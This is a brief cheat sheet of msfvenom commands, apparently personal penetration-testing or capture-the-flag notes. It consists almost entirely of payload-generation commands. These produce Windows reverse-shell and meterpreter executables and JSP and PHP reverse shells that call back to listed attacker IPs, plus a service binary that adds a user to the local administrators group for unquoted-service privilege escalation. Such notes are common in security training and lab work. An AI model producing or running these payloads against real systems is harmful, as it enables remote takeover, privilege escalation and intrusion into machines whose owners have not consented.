msfvenom
msfvenom is payload generator from metasploit.
msfvenom --list # to list items. eg: payloads platforms
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.193 LPORT=21 -f exe > bd.exe
# use mutli/handler on lhost
msfvenom -p windows/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe -o program.exe
# For unquoted service in windows
msfvenom -p windows/exec CMD='net localgroup administrators user /add' -f exe-service -o common.exe
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.16.3 LPORT=1234 -f raw > shell.jsp
msfvenom -p php/reverse_php LHOST=10.10.16.3 LPORT=1234 -o ~/transfer/reverse.php